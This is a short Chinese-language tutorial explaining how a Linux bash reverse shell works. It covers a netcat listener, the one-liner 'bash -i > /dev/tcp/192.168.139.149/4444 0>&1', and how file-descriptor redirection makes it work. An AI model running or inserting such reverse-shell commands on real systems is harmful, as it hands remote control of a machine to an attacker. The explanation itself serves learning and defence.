Linux反弹 shell
nc -lvp 4444
bash -i > /dev/tcp/192.168.139.149/4444 0>&1
原理:
就是将 bash 程序的标准输入输出通过 tcp 连接重定向到远端主机上
先了解一下 Linux 的输入输出流,0、1、2为文件描述符代码,被系统占用,后面打开的文件只能用4及之后的数字表示
0 表示标准输入(stdin) 也就是程序的输入
1 表示标准输出(stdout) 程序运行正确返回的信息,默认输出到屏幕
2 标准错误输出(stderr) 程序运行返回的报错信息,默认也是输出到屏幕
命令的各个部分说明
-
bash -i 表示开启一个交互式的 bash 命令行程序 -
> 输出重定向符号,其实完整的是bash -i 1 > (因为如果> 前面没有数字,则默认为1)表示将前面程序的标准输出重定向到后面的文件/程序;同理 < 就是输入重定向,表示前面程序的标准输入 -
/dev/tcp/192.168.139.149/4444 ,这个表示打开一个 tcp socket 连接,只在 bash 中可用。虽然用文件的形式表示,但是实际并不存在这个文件,可以理解为 bash 下的虚拟文件(个人理解) bash -i > /dev/tcp/192.168.139.149/4444
ps -ef | grep bash
ls -l /proc/{pid}/
-
>& 作用类似变量的引用复制,2 >& 1 表将标准错误输出指向标准输出所指向的地方。>& 和<& 等价,没有方向性的区别,方向性取决于前面文件描述符本身的方向
|